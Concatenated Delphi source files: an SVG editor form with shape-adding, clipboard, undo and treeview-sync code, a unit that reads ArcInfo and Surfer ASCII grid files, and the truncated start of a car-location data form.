property ActionZoom1to1: TAction read FActionZoom1to1 write SetActionZoom1to1;
property ActionZoom1to2: TAction read FActionZoom1to2 write SetActionZoom1to2;
property ActionToolShape: TAction read FActionToolShape write SetActionToolShape;
property ActionToolTransform: TAction read FActionToolTransform write SetActionToolTransform;
property ActionNew: TAction read FActionNew write SetActionNew;
property ActionPrint: TAction read FActionPrint write SetActionPrint;
property ActionExit: TAction read FActionExit write SetActionExit;
property ActionAddRect: TAction read FActionAddRect write SetActionAddRect;
property ActionAddSVG: TAction read FActionAddSVG write SetActionAddSVG;
property ActionAddCircle: TAction read FActionAddCircle write SetActionAddCircle;
property ActionAddEllipse: TAction read FActionAddEllipse write SetActionAddEllipse;
property ActionAddLine: TAction read FActionAddLine write SetActionAddLine;
property ActionAddPolyline: TAction read FActionAddPolyline write SetActionAddPolyline;
property ActionAddPolygon: TAction read FActionAddPolygon write SetActionAddPolygon;
property ActionAddPath: TAction read FActionAddPath write SetActionAddPath;
property ActionAddText: TAction read FActionAddText write SetActionAddText;
property ActionAddImage: TAction read FActionAddImage write SetActionAddImage;
property ActionAddGroup: TAction read FActionAddGroup write SetActionAddGroup;
property FormPrintPreview: TSVGPrintPreviewForm read FFormPrintPreview write FFormPrintPreview;
property TreeviewXML: TTreeView read FTreeviewXML write SetTreeviewXML;
property ValueListEditorAttribute: TValueListEditor read FValueListEditorAttribute
write SetValueListEditorAttribute;
end;
implementation
uses
XML.XMLDom,
BVE.SVG2Elements;
{ TSVGEditorForm }
procedure TSVGEditorForm.ActionAddCircleExecute(Sender: TObject);
begin
CheckSelectionIsGroup(True);
FEditor.ElementAdd('<circle cx="100" cy="100" r="50" />');
end;
procedure TSVGEditorForm.ActionAddEllipseExecute(Sender: TObject);
begin
CheckSelectionIsGroup(True);
FEditor.ElementAdd('<ellipse cx="100" cy="80" rx="80" ry="50" />');
end;
procedure TSVGEditorForm.ActionAddGroupExecute(Sender: TObject);
begin
CheckSelectionIsGroup(True);
FEditor.ElementAdd('<g />');
end;
procedure TSVGEditorForm.ActionAddImageExecute(Sender: TObject);
begin
// TODO
end;
procedure TSVGEditorForm.ActionAddLineExecute(Sender: TObject);
begin
// TODO
end;
procedure TSVGEditorForm.ActionAddPathExecute(Sender: TObject);
begin
CheckSelectionIsGroup(True);
//FEditor.ElementAdd('<path d="M100,100 L200,100, L200,200 L100,200 Z" />');
FEditor.ElementAdd('<path d="M100,100 L200,100, C250,100 250,200, 200,200 L100,200 Z" />');
end;
procedure TSVGEditorForm.ActionAddPolygonExecute(Sender: TObject);
begin
CheckSelectionIsGroup(True);
FEditor.ElementAdd('<polygon points="100,100 200,100, 200,200" />');
end;
procedure TSVGEditorForm.ActionAddPolylineExecute(Sender: TObject);
begin
// TODO
end;
procedure TSVGEditorForm.ActionAddRectExecute(Sender: TObject);
begin
CheckSelectionIsGroup(True);
FEditor.ElementAdd('<rect x="100" y="100" width="100" height="100" />');
end;
procedure TSVGEditorForm.ActionAddSVGExecute(Sender: TObject);
var
sl: TStringList;
begin
if FEditor.SelectedElementCount <> 1 then
Exit;
if FOpenDialog.Execute then
begin
sl := TStringList.Create;
try
sl.LoadFromFile(FOpenDialog.FileName);
FEditor.ElementAdd(sl.Text);
finally
sl.Free;
end;
end;
end;
procedure TSVGEditorForm.ActionAddTextExecute(Sender: TObject);
begin
// TODO
end;
procedure TSVGEditorForm.ActionCopyExecute(Sender: TObject);
begin
TreeViewXML.OnChange := nil;
try
FEditor.ElementsCopy;
finally
TreeViewXMl.OnChange := TreeViewXMLChange;
end;
end;
procedure TSVGEditorForm.ActionCutExecute(Sender: TObject);
begin
TreeViewXML.OnChange := nil;
try
FEditor.ElementsCut;
finally
TreeViewXML.OnChange := TreeViewXMLChange;
end;
end;
procedure TSVGEditorForm.ActionDeleteExecute(Sender: TObject);
begin
TreeViewXML.OnChange := nil;
try
FEditor.ElementsDelete;
finally
TreeViewXML.OnChange := TreeViewXMLChange;
end;
end;
procedure TSVGEditorForm.ActionExitExecute(Sender: TObject);
begin
Application.Terminate;
end;
procedure TSVGEditorForm.ActionNewExecute(Sender: TObject);
begin
DocumentNew;
end;
procedure TSVGEditorForm.ActionOpenExecute(Sender: TObject);
begin
if FOpenDialog.Execute then
begin
DocumentOpen(FOpenDialog.FileName);
end;
end;
procedure TSVGEditorForm.ActionPasteExecute(Sender: TObject);
begin
TreeViewXML.OnChange := nil;
try
FEditor.ElementsPaste;
finally
TreeViewXML.OnChange := TreeViewXMLChange;
end;
end;
procedure TSVGEditorForm.ActionPrintExecute(Sender: TObject);
begin
if assigned(FFormPrintPreview) then
begin
FEditor.ElementsUnselectAll;
FFormPrintPreview.Root := FEditor.Root;
FFormPrintPreview.Show;
end;
end;
procedure TSVGEditorForm.ActionRedoExecute(Sender: TObject);
begin
TreeViewXML.OnChange := nil;
try
FEditor.CmdRedo;
finally
TreeViewXML.OnChange := TreeViewXMLChange;
end;
end;
procedure TSVGEditorForm.ActionSaveAsExecute(Sender: TObject);
begin
if not assigned(FEditor.Root) then
Exit;
if FSaveDialog.Execute then
begin
FEditor.SaveToFile(FSaveDialog.Filename);
end;
end;
procedure TSVGEditorForm.ActionToolShapeExecute(Sender: TObject);
begin
FEditor.ToolSelect(TSVGEditorToolShape);
end;
procedure TSVGEditorForm.ActionToolTransformExecute(Sender: TObject);
begin
FEditor.ToolSelect(TSVGEditorToolTransform);
end;
procedure TSVGEditorForm.ActionUndoExecute(Sender: TObject);
begin
TreeViewXML.OnChange := nil;
try
FEditor.CmdUndo;
finally
TreeViewXML.OnChange := TreeViewXMLChange;
end;
end;
procedure TSVGEditorForm.ActionZoom1to1Execute(Sender: TObject);
begin
FEditor.Scale := 1;
end;
procedure TSVGEditorForm.ActionZoom1to2Execute(Sender: TObject);
begin
FEditor.Scale := 2;
end;
function TSVGEditorForm.CheckSelectionIsGroup(
const aExceptions: Boolean): Boolean;
var
Element: ISVGElement;
begin
Result := True;
if FEditor.SelectedElementCount <> 1 then
begin
Result := False;
if aExceptions then
raise Exception.Create('Must select one parent element.')
else
Exit;
end;
Element := FEditor.Element[FEditor.SelectedElement[0]];
if not Supports(Element, ISVGGroup) then
begin
Result := False;
if aExceptions then
raise Exception.Create('Select object is not a container.')
else
Exit;
end;
end;
constructor TSVGEditorForm.Create(AOwner: TComponent);
begin
inherited;
end;
destructor TSVGEditorForm.Destroy;
begin
inherited;
end;
procedure TSVGEditorForm.DoCreate;
begin
inherited;
FEditor := TSVGEditor.Create(Self);
FEditor.Parent := Self;
FEditor.Align := alClient;
FEditor.OnElementAdd := ElementAdd;
FEditor.OnElementRemove := ElementRemove;
FEditor.OnElementSelect := ElementSelect;
FEditor.OnSetAttribute := SetAttribute;
FEditor.OnToolSelect := ToolSelect;
FTimerUpdatePage := TTimer.Create(Self);
FTimerUpdatePage.Enabled := False;
FTimerUpdatePage.Interval := 250;
FTimerUpdatePage.OnTimer := TimerUpdatePageTimer;
FOpenDialog := TOpenDialog.Create(Self);
FSaveDialog := TSaveDialog.Create(Self);
FSaveDialog.Filter := 'SVG Files (*.svg)|*.svg';
FSaveDialog.DefaultExt := 'svg';
DocumentNew;
{$IFnDEF FPC}
DragAcceptFiles(Handle, True);
{$ELSE}
Application.AddOnDropFilesHandler(OnDropFiles);
{$ENDIF}
end;
procedure TSVGEditorForm.DocumentNew;
var
StringStream: TStringStream;
begin
StringStream := TStringStream.Create;
try
StringStream.WriteString(
'<?xml version="1.0" standalone="no"?>'
+ '<svg width="480" height="360" xmlns="' + ns_uri_svg + '" xmlns:xlink="' + ns_uri_xlink + '" version="1.1" />');
StringStream.Position := 0;
FEditor.LoadFromStream(StringStream);
finally
StringStream.Free;
end;
end;
procedure TSVGEditorForm.DocumentOpen(const aFilename: string);
begin
FEditor.Filename := aFilename;
end;
procedure TSVGEditorForm.DoDestroy;
begin
{$IFDEF FPC}
Application.RemoveOnDropFilesHandler(OnDropFiles);
{$ENDIF}
inherited;
end;
procedure TSVGEditorForm.DoShow;
begin
inherited;
EnableActions;
end;
procedure TSVGEditorForm.ElementAdd(Sender: TObject; const aParent: ISVGElement;
const aIndex: Integer; const aElement: ISVGElement);
begin
TreeViewXMLNodeAdd(aParent, aIndex, aElement);
EnableActions;
end;
procedure TSVGEditorForm.ElementRemove(Sender: TObject;
const aElement: ISVGElement);
begin
TreeViewXMLNodeRemove(aElement);
EnableActions;
end;
procedure TSVGEditorForm.ElementSelect(Sender: TObject);
begin
if TreeViewXMLNodeSelect then
ValueListEditorAttributeUpdate;
EnableActions;
end;
procedure TSVGEditorForm.EnableActions;
var
CanAddElement: Boolean;
CanDeleteElement: Boolean;
OuterSVGSelected: Boolean;
SVGDocLoaded: Boolean;
ElementsSelected: Boolean;
begin
ElementsSelected := FEditor.SelectedElementCount > 0;
OuterSVGSelected := FEditor.ElementIsSelected(0);
CanAddElement := CheckSelectionIsGroup(False);
CanDeleteElement := ElementsSelected and (not OuterSVGSelected);
SVGDocLoaded := assigned(FEditor.Root);
ActionOpen.Enabled := True;
ActionSaveAs.Enabled := SVGDocLoaded;
ActionNew.Enabled := True;
ActionPrint.Enabled := SVGDocLoaded;
ActionExit.Enabled := True;
ActionCopy.Enabled := CanDeleteElement;
ActionCut.Enabled := CanDeleteElement;
ActionDelete.Enabled := CanDeleteElement;
ActionPaste.Enabled := CanAddElement;
ActionUndo.Enabled := FEditor.CmdUndoCount > 0;
ActionRedo.Enabled := FEditor.CmdRedoCount > 0;
ActionAddRect.Enabled := CanAddElement;
ActionAddSVG.Enabled := CanAddElement;
ActionAddCircle.Enabled := CanAddElement;
ActionAddEllipse.Enabled := CanAddElement;
ActionAddLine.Enabled := CanAddElement;
ActionAddPolyline.Enabled := CanAddElement;
ActionAddPolygon.Enabled := CanAddElement;
ActionAddPath.Enabled := CanAddElement;
ActionAddText.Enabled := CanAddElement;
ActionAddImage.Enabled := CanAddElement;
ActionAddGroup.Enabled := CanAddElement;
ActionZoom1to1.Enabled := SVGDocLoaded;
ActionZoom1to2.Enabled := SVGDocLoaded;
ActionToolTransform.Enabled := ElementsSelected;
ActionToolShape.Enabled := ElementsSelected;
end;
procedure TSVGEditorForm.SetActionAddCircle(const Value: TAction);
begin
FActionAddCircle := Value;
if assigned(FActionAddCircle) then
FActionAddCircle.OnExecute := ActionAddCircleExecute;
end;
procedure TSVGEditorForm.SetActionAddEllipse(const Value: TAction);
begin
FActionAddEllipse := Value;
if assigned(FActionAddEllipse) then
FActionAddEllipse.OnExecute := ActionAddEllipseExecute;
end;
procedure TSVGEditorForm.SetActionAddGroup(const Value: TAction);
begin
FActionAddGroup := Value;
if assigned(FActionAddGroup) then
FActionAddGroup.OnExecute := ActionAddGroupExecute;
end;
procedure TSVGEditorForm.SetActionAddImage(const Value: TAction);
begin
FActionAddImage := Value;
if assigned(FActionAddImage) then
FActionAddImage.OnExecute := ActionAddImageExecute;
end;
procedure TSVGEditorForm.SetActionAddLine(const Value: TAction);
begin
FActionAddLine := Value;
if assigned(FActionAddLine) then
FActionAddLine.OnExecute := ActionAddLineExecute;
end;
procedure TSVGEditorForm.SetActionAddPath(const Value: TAction);
begin
FActionAddPath := Value;
if assigned(FActionAddPath) then
FActionAddPath.OnExecute := ActionAddPathExecute;
end;
procedure TSVGEditorForm.SetActionAddPolygon(const Value: TAction);
begin
FActionAddPolygon := Value;
if assigned(FActionAddPolygon) then
FActionAddPolygon.OnExecute := ActionAddPolygonExecute;
end;
procedure TSVGEditorForm.SetActionAddPolyline(const Value: TAction);
begin
FActionAddPolyline := Value;
if assigned(FActionAddPolyline) then
FActionAddPolyline.OnExecute := ActionAddPolylineExecute;
end;
procedure TSVGEditorForm.SetActionAddRect(const Value: TAction);
begin
FActionAddRect := Value;
if assigned(FActionAddRect) then
FActionAddRect.OnExecute := ActionAddRectExecute;
end;
procedure TSVGEditorForm.SetActionAddSVG(const Value: TAction);
begin
FActionAddSVG := Value;
if assigned(FActionAddSVG) then
FActionAddSVG.OnExecute := ActionAddSVGExecute;
end;
procedure TSVGEditorForm.SetActionAddText(const Value: TAction);
begin
FActionAddText := Value;
if assigned(FActionAddText) then
FActionAddText.OnExecute := ActionAddTextExecute;
end;
procedure TSVGEditorForm.SetActionCopy(const Value: TAction);
begin
FActionCopy := Value;
if assigned(FActionCopy) then
FActionCopy.OnExecute := ActionCopyExecute;
end;
procedure TSVGEditorForm.SetActionCut(const Value: TAction);
begin
FActionCut := Value;
if assigned(FActionCut) then
FActionCut.OnExecute := ActionCutExecute;
end;
procedure TSVGEditorForm.SetActionDelete(const Value: TAction);
begin
FActionDelete := Value;
if assigned(FActionDelete) then
FActionDelete.OnExecute := ActionDeleteExecute;
end;
procedure TSVGEditorForm.SetActionExit(const Value: TAction);
begin
FActionExit := Value;
if assigned(FActionExit) then
FActionExit.OnExecute := ActionExitExecute;
end;
procedure TSVGEditorForm.SetActionNew(const Value: TAction);
begin
FActionNew := Value;
if assigned(FActionNew) then
FActionNew.OnExecute := ActionNewExecute;
end;
procedure TSVGEditorForm.SetActionOpen(const Value: TAction);
begin
FActionOpen := Value;
if assigned(FActionOpen) then
FActionOpen.OnExecute := ActionOpenExecute;
end;
procedure TSVGEditorForm.SetActionPaste(const Value: TAction);
begin
FActionPaste := Value;
if assigned(FActionPaste) then
FActionPaste.OnExecute := ActionPasteExecute;
end;
procedure TSVGEditorForm.SetActionPrint(const Value: TAction);
begin
FActionPrint := Value;
if assigned(FActionPrint) then
FActionPrint.OnExecute := ActionPrintExecute;
end;
procedure TSVGEditorForm.SetActionRedo(const Value: TAction);
begin
FActionRedo := Value;
if assigned(FActionRedo) then
FActionRedo.OnExecute := ActionRedoExecute;
end;
procedure TSVGEditorForm.SetActionSaveAs(const Value: TAction);
begin
FActionSaveAs := Value;
if assigned(FActionSaveAs) then
FActionSaveAs.OnExecute := ActionSaveAsExecute;
end;
procedure TSVGEditorForm.SetActionToolShape(const Value: TAction);
begin
FActionToolShape := Value;
if assigned(FActionToolShape) then
FActionToolShape.OnExecute := ActionToolShapeExecute;
end;
procedure TSVGEditorForm.SetActionToolTransform(const Value: TAction);
begin
FActionToolTransform := Value;
if assigned(FActionToolTransform) then
FActionToolTransform.OnExecute := ActionToolTransformExecute;
end;
procedure TSVGEditorForm.SetActionUndo(const Value: TAction);
begin
FActionUndo := Value;
if assigned(FActionUndo) then
FActionUndo.OnExecute := ActionUndoExecute;
end;
procedure TSVGEditorForm.SetActionZoom1to1(const Value: TAction);
begin
FActionZoom1to1 := Value;
if assigned(FActionZoom1to1) then
FActionZoom1to1.OnExecute := ActionZoom1to1Execute;
end;
procedure TSVGEditorForm.SetActionZoom1to2(const Value: TAction);
begin
FActionZoom1to2 := Value;
if assigned(FActionZoom1to2) then
FActionZoom1to2.OnExecute := ActionZoom1to2Execute;
end;
procedure TSVGEditorForm.SetAttribute(Sender: TObject;
const aElement: ISVGElement; const aName, aValue: TSVGUnicodeString);
begin
ValueListEditorAttribute.OnValidate := nil;
try
ValueListEditorAttribute.Values[aName] := aValue;
finally
ValueListEditorAttribute.OnValidate := ValueListEditorAttributeValidate;
end;
EnableActions;
end;
procedure TSVGEditorForm.SetOpenDialog(const Value: TOpenDialog);
begin
FOpenDialog := Value;
end;
procedure TSVGEditorForm.SetSaveDialog(const Value: TSaveDialog);
begin
FSaveDialog := Value;
end;
procedure TSVGEditorForm.SetTreeviewXML(const Value: TTreeView);
begin
FTreeviewXML := Value;
if assigned(FTreeviewXML) then
FTreeviewXML.OnChange := TreeviewXMLChange;
end;
procedure TSVGEditorForm.SetValueListEditorAttribute(
const Value: TValueListEditor);
begin
FValueListEditorAttribute := Value;
if assigned(FValueListEditorAttribute) then
begin
FValueListEditorAttribute.OnValidate := ValueListEditorAttributeValidate;
FValueListEditorAttribute.OnEditButtonClick := ValueListEditorAttributeEditButtonClick;
end;
end;
procedure TSVGEditorForm.TimerUpdatePageTimer(Sender: TObject);
begin
FEditor.UpdatePage([]);
end;
procedure TSVGEditorForm.ToolSelect(Sender: TObject;
const aTool: TSVGToolClass);
begin
if aTool = TSVGEditorToolTransform then
ActionToolTransform.Checked := True
else
if aTool = TSVGEditorToolShape then
ActionToolShape.Checked := True;
EnableActions;
end;
procedure TSVGEditorForm.TreeViewXMLChange(Sender: TObject; Node: TTreeNode);
var
i: Integer;
ID: Integer;
TempList: TList<Integer>;
Handler: TTVChangedEvent;
begin
// If the selection of the nodes in the Treeview changes, than select
// the elements in the editor also
TempList := TList<Integer>.Create;
try
i := 0;
while i < Integer(TreeViewXML.SelectionCount) do
begin
ID := Integer(TreeViewXML.Selections[i].Data);
TempList.Add(ID);
Inc(i);
end;
Handler := TreeViewXML.OnChange;
try
TreeViewXML.OnChange := nil;
FEditor.ElementsSelect(TempList);
finally
TreeViewXML.OnChange := Handler;
end;
ValueListEditorAttributeUpdate;
finally
TempList.Free;
end;
end;
procedure TSVGEditorForm.TreeViewXMLNodeAdd(const aParent: IXMLNode;
const aIndex: Integer; const aElement: ISVGElement);
var
Handler: TTVChangedEvent;
Element: ISVGElement;
procedure DoNode(aParentTreeNode: TTreeNode; const aIndex: Integer;
aNode: IXMLNode);
var
i: Integer;
TreeNode: TTreeNode;
Child: TTreeNode;
Name: string;
Sibling: IXMLNode;
SiblingID: Integer;
begin
if Supports(aNode, ISVGElement, Element) then
begin
if aNode.HasAttribute('id') then
Name := aNode.Attributes['id']
else
Name := aNode.LocalName;
if assigned(aParentTreeNode) then
begin
if aIndex = -1 then
TreeNode := TreeViewXML.Items.AddChild(aParentTreeNode, Name)
else begin
// Find the first sibling that is an element after aIndex
Sibling := aNode.NextSibling;
while assigned(Sibling) and (not Supports(Sibling, ISVGElement)) do
Sibling := Sibling.NextSibling;
if not assigned(Sibling) then
TreeNode := TreeViewXML.Items.AddChild(aParentTreeNode, Name)
else begin
// Find treenode of sibling and insert before
SiblingID := FEditor.GetElementID(Sibling as ISVGElement);
Child := aParentTreeNode.getFirstChild;
while assigned(Child) and (Integer(Child.Data) <> SiblingID) do
Child := Child.getNextSibling;
if assigned(Child) then
TreeNode := TreeViewXML.Items.Insert(Child, Name)
else
TreeNode := TreeViewXML.Items.AddChild(aParentTreeNode, Name);
end;
end;
end else
TreeNode := TreeViewXML.Items.Add(nil, Name);
TreeNode.Data := Pointer(FEditor.GetElementID(Element));
Element.Data := TreeNode;
for i := 0 to aNode.ChildNodes.Count - 1 do
DoNode(TreeNode, -1, aNode.ChildNodes[i]);
end;
end;
begin
// Insert a TreeNode subtree in the TreeView and associate it with the
// element
Handler := TreeViewXML.OnChange;
try
TreeViewXML.OnChange := nil;
if Supports(aParent, ISVGElement, Element) then
begin
DoNode(TTreeNode(Element.Data), aIndex, aElement);
end else begin
TreeViewXML.Items.Clear;
DoNode(nil, -1, aElement);
end;
finally
TreeViewXML.OnChange := Handler;
end;
end;
procedure TSVGEditorForm.TreeViewXMLNodeRemove(const aElement: ISVGElement);
var
Handler: TTVChangedEvent;
begin
// Remove the TreeNode associated with the element from the TreeView
Handler := TreeViewXML.OnChange;
try
TreeViewXML.OnChange := nil;
TreeViewXML.Items.Delete(TTreeNode(aElement.Data));
finally
TreeViewXML.OnChange := Handler;
end;
end;
function TSVGEditorForm.TreeViewXMLNodeSelect: Boolean;
var
i, j: Integer;
ID: Integer;
Element: ISVGELement;
Handler: TTVChangedEvent;
begin
// Synchronize the selected TreeView nodes with the selection in the editor
// Return TRUE if the selecation changed
Result := false;
Handler := TreeViewXML.OnChange;
try
TreeViewXML.OnChange := nil;
i := 0;
while i < Integer(TreeViewXML.SelectionCount) do
begin
ID := Integer(TreeViewXML.Selections[i].Data);
if not FEditor.ElementIsSelected(ID) then
begin
TreeViewXML.Selections[i].Selected := False;
Result := True;
end else
Inc(i);
end;
i := 0;
while i < FEditor.SelectedElementCount do
begin
ID := FEditor.SelectedElement[i];
j := 0;
while j < Integer(TreeViewXML.SelectionCount) do
begin
if Integer(TreeViewXML.Selections[j].Data) = ID then
Break;
Inc(j);
end;
if j = Integer(TreeViewXML.SelectionCount) then
begin
Element := FEditor.Element[FEditor.SelectedElement[i]];
TTreeNode(Element.Data).Selected := True;
Result := True;
end;
Inc(i);
end;
finally
TreeViewXML.OnChange := Handler;
end;
end;
procedure TSVGEditorForm.ValueListEditorAttributeEditButtonClick(
Sender: TObject);
var
AttrName, AttrValue: string;
begin
if ValueListEditorAttribute.Row < 0 then
Exit;
AttrName := ValueListEditorAttribute.Keys[ValueListEditorAttribute.Row];
AttrValue := InputBox('Attribute value', AttrName, ValueListEditorAttribute.Values[AttrName]);
FEditor.SetAttribute(AttrName, AttrValue);
end;
procedure TSVGEditorForm.ValueListEditorAttributeUpdate;
var
i: Integer;
ID: Integer;
Element: ISVGElement;
DOMElement: IDOMElement;
DOMAttr: IDOMNode;
begin
// Update the value list editor with the attributes of the selected element
ValueListEditorAttribute.Strings.Clear;
if FEditor.SelectedElementCount <> 1 then
Exit;
ID := FEditor.SelectedElement[0];
Element := FEditor.Element[ID];
if assigned(Element) then
begin
if Supports(Element.DOMNode, IDOMElement, DOMElement) then
begin
for i := 0 to DOMElement.attributes.length - 1 do
begin
DOMAttr := DOMElement.attributes[i];
ValueListEditorAttribute.Strings.Add(DOMAttr.nodeName + '=' + DOMAttr.nodeValue);
ValueListEditorAttribute.ItemProps[DOMAttr.nodeName].EditStyle := TEditStyle.esEllipsis;
end;
end;
end;
end;
procedure TSVGEditorForm.ValueListEditorAttributeValidate(Sender: TObject; ACol,
ARow: Integer; const KeyName, KeyValue: string);
begin
FEditor.SetAttribute(KeyName, KeyValue);
end;
procedure TSVGEditorForm.WMDROPFILES(var Msg: TWMDropFiles);
var
i, FileCount: integer;
l: integer;
FileName: string;
begin
FileCount := DragQueryFile(Msg.Drop, $FFFFFFFF, nil, 0);
for i := 0 to FileCount - 1 do
begin
l := DragQueryFile(Msg.Drop, i, nil, 0);
SetLength(Filename, l);
DragQueryFile(Msg.Drop, i, PChar(FileName), l + 1);
DocumentOpen(FileName);
end;
DragFinish(Msg.Drop);
EnableActions;
end;
end.
|
unit GrdFuncs;
{ A class to read Arcinfo Grid Ascii format
P.G.Scadden, 26/10/00 P.Scadden@gns.cri.nz
and to read Surfer Grid Ascii format
P.V.Vassiliev, 25/12/05 vassiliev@sf.users.net
}
interface
uses
System.SysUtils,
System.Classes,
GLVectorGeometry;
type
TGridType = (gtSurfer7, gtSurferGSBin, gtSurferGSASCII, gtArcInfoASCII, gtGMS,
gtUnknown);
TGrid2D = class(TObject)
private
FNodes: array of TSingleArray; // stores nodes: z=f(x,y)
FBlankVal: Double; // Blankvalue used in surfer (z values > are "blank")
FBlankSub: Double; // used to substitute for viewing
FnBlanks: Integer; // number of blank nodes
FGridType: TGridType;
FNx: Integer; // number of X nodes
FNy: Integer; // number of Y nodes
FDx: Single; // spacing between adjacent X nodes
FDy: Single; // spacing between adjacent Y nodes
StrVal: String;
StrLine: String;
Sl, Tl: TStringList;
// a case when value is out of range should never happen
function GetNode(I, J: Integer): Single;
public
MaxZ: Single;
NoData: Single;
CellSize: Single; // for square cells only
Xo, Xe: Single; // low and high X
Yo, Ye: Single; // low and high Y
Zo, Ze: Single; // low and high Z
destructor Destroy; override;
function WordPosition(const N: Integer; const S: string;
const WordDelims: TSysCharSet): Integer;
function ExtractWord(N: Integer; const S: string;
const WordDelims: TSysCharSet): string;
procedure LoadFromArcinfo(FileName: String);
procedure LoadFromSurfer(FileName: String);
property Nodes[I, J: Integer]: Single read GetNode;
property BlankVal: Double read FBlankVal write FBlankVal;
property BlankSub: Double read FBlankSub write FBlankSub;
property Nblanks: Integer read FnBlanks write FnBlanks;
property GridType: TGridType read FGridType write FGridType;
property Nx: Integer read FNx write FNx;
property Ny: Integer read FNy write FNy;
property Dx: Single read FDx write FDx;
property Dy: Single read FDy write FDy;
end;
const
dSURFBLANKVAL = 1.70141E38; // used in Surfer ASCII and Binary for blanking
// -------------------------------------------------------------------------
// -------------------------------------------------------------------------
// -------------------------------------------------------------------------
implementation
// -------------------------------------------------------------------------
// -------------------------------------------------------------------------
// -------------------------------------------------------------------------
// WordPosition -----------------------------------------
// this function was obtained from RxLib
//
function TGrid2D.WordPosition(const N: Integer; const S: string;
const WordDelims: TSysCharSet): Integer;
var
Count, I: Integer;
begin
Count := 0;
I := 1;
Result := 0;
while ((I <= Length(S)) and (Count <> N)) do
begin
// skip over delimiters
while (I <= Length(S)) and (S[I] in WordDelims) do
Inc(I);
// if we're not beyond end of S, we're at the start of a word
if I <= Length(S) then
Inc(Count);
// if not finished, find the end of the current word
if Count <> N then
while (I <= Length(S)) and not(S[I] in WordDelims) do
Inc(I)
else
Result := I;
end;
end;
// ExtractWord ------------------------------------------
// this function was obtained from RxLib
//
function TGrid2D.ExtractWord(N: Integer; const S: string;
const WordDelims: TSysCharSet): string;
var
I, Len: Integer;
begin
Len := 0;
I := WordPosition(N, S, WordDelims);
if (I <> 0) then
// find the end of the current word
while (I <= Length(S)) and not(S[I] in WordDelims) do
begin
// add the I'th character to result
Inc(Len);
SetLength(Result, Len);
Result[Len] := S[I];
Inc(I);
end;
SetLength(Result, Len);
end;
// GetNode
//
function TGrid2D.GetNode(I, J: Integer): Single;
begin
try
Result := FNodes[I, J];
except
Result := 0; // to avoid compilation warning
end;
end;
// LoadFromArcinfo
//
procedure TGrid2D.LoadFromArcinfo;
var
I: Integer;
J: Integer;
N: Integer;
begin
Sl := TStringList.Create;
Tl := TStringList.Create;
Sl.LoadFromFile(FileName);
try
Tl.DelimitedText := Sl[0];
Ny := StrToInt(Tl[1]); // ncols
Tl.DelimitedText := Sl[1];
Nx := StrToInt(Tl[1]); // nrows
Tl.DelimitedText := Sl[2];
Xo := StrToFloat(Tl[1]); // xllcorner
Tl.DelimitedText := Sl[3];
Yo := StrToFloat(Tl[1]); // yllcorner
Tl.DelimitedText := Sl[4];
CellSize := StrToFloat(Tl[1]); // cellsize
Tl.DelimitedText := Sl[5];
NoData := StrToFloat(Tl[1]); // NoData value
MaxZ := -3 * 10E38;
SetLength(FNodes, Nx, Ny);
for I := 0 to Nx - 1 do
begin
Tl.DelimitedText := Sl[I + 6];
for J := 0 to Ny - 1 do
begin
StrVal := Tl[J];
FNodes[I, J] := StrToFloat(StrVal);
if FNodes[I, J] > MaxZ then
MaxZ := FNodes[I, J];
end;
end;
finally
Sl.Free;
Tl.Free;
end;
end;
// LoadFromSurfer
//
procedure TGrid2D.LoadFromSurfer(FileName: String);
var
I, // I = row counter
J, // J = column counter
K, // K = counter used with extractWord
N: Integer; // N = counter to increment through file
{ sub } function ReadLine: string;
begin
Result := Sl[N];
Inc(N);
end;
begin
Sl := TStringList.Create;
Tl := TStringList.Create;
N := 0;
try
Sl.LoadFromFile(FileName); // need to LoadFromStream(aStream);
Tl.DelimitedText := Copy(ReadLine, 1, 4);
if (Tl[0] <> 'DSAA') then
begin
raise Exception.Create('Not a valid grd file !');
Exit;
end;
MaxZ := -3 * 10E38;
Tl.DelimitedText := ReadLine;
Nx := StrToInt(Tl[0]);
Ny := StrToInt(Tl[1]);
Tl.DelimitedText := ReadLine;
Xo := StrToFloat(Tl[0]);
Xe := StrToFloat(Tl[1]);
Tl.DelimitedText := ReadLine;
Yo := StrToFloat(Tl[0]);
Ye := StrToFloat(Tl[1]);
Tl.DelimitedText := ReadLine;
Zo := StrToFloat(Tl[0]);
Ze := StrToFloat(Tl[1]);
Dx := (Xe - Xo) / Nx;
Dy := (Ye - Yo) / Ny;
SetLength(FNodes, Ny, Nx);
Nblanks := 0;
BlankVal := dSURFBLANKVAL;
NoData := BlankVal; // NoData value
// loop over the Ny-1 Rows
for I := 0 to Ny - 1 do
begin
J := 0;
// reading lines until Nx-1 Cols entries have been obtained
while J <= Nx - 1 do
begin
StrLine := ReadLine;
K := 1;
StrVal := ExtractWord(K, StrLine, [' ']);
while (StrVal <> '') do
begin
if (J <= Nx - 1) then
FNodes[I, J] := StrToFloat(StrVal);
if FNodes[I, J] > MaxZ then
MaxZ := FNodes[I, J];
if (FNodes[I, J] >= BlankVal) then
Nblanks := Nblanks + 1;
Inc(J);
Inc(K);
StrVal := ExtractWord(K, StrLine, [' ']);
end;
if (J > Nx - 1) then
Break;
end;
end;
finally
Tl.Free;
Sl.Free;
end;
end;
destructor TGrid2D.Destroy;
begin
FNodes := nil;
inherited Destroy;
end;
end.
|
unit frmLocateCar;
{******************************************************************************
软件名称 FNM
版权所有 (C) 2004-2012 ESQUEL GROUP GET/IT
创建日期 2011-5-11 10:54:40
创建人员 cuijf
修改人员
修改日期
修改原因
对应用例
字段描述
相关数据库表
调用重要函数/SQL对象说明
功能描述
******************************************************************************}
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DB, DBClient, StdCtrls, Buttons, ExtCtrls;
type
TLocateCarForm = class(TForm)
cdsLocateCar: TClientDataSet;
pnl1: TPanel;
grp1: TGroupBox;
cbbCarNO: TComboBox;
GroupBox1: TGroupBox;
cbbLocation: TComboBox;
pnl2: TPanel;
btnSave: TSpeedButton;
btnRefresh: TSpeedButton;
SpeedButton2: TSpeedButton;
procedure btnRefreshClick(Sender: TObject);
procedure btnSaveClick(Sender: TObject);
procedure cbbCarNOEnter(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
private
{ Private declarations }
procedure DataSave;
procedure DataCancel;
procedure DataQuery;
function CloseQuery:Boolean;
procedure SetBtnState;
procedure UpdateActions; override;
public
{ Public declarations }
sDept:String;
end;
var
LocateCarForm: TLocateCarForm;
implementation
uses ServerDllPub, uFNMArtInfo, uGlobal, uDictionary, uShowMessage, uLogin, uGridDecorator;
{$R *.dfm}
{ TLocateCarForm }
function TLocateCarForm.CloseQuery: Boolean;
begin
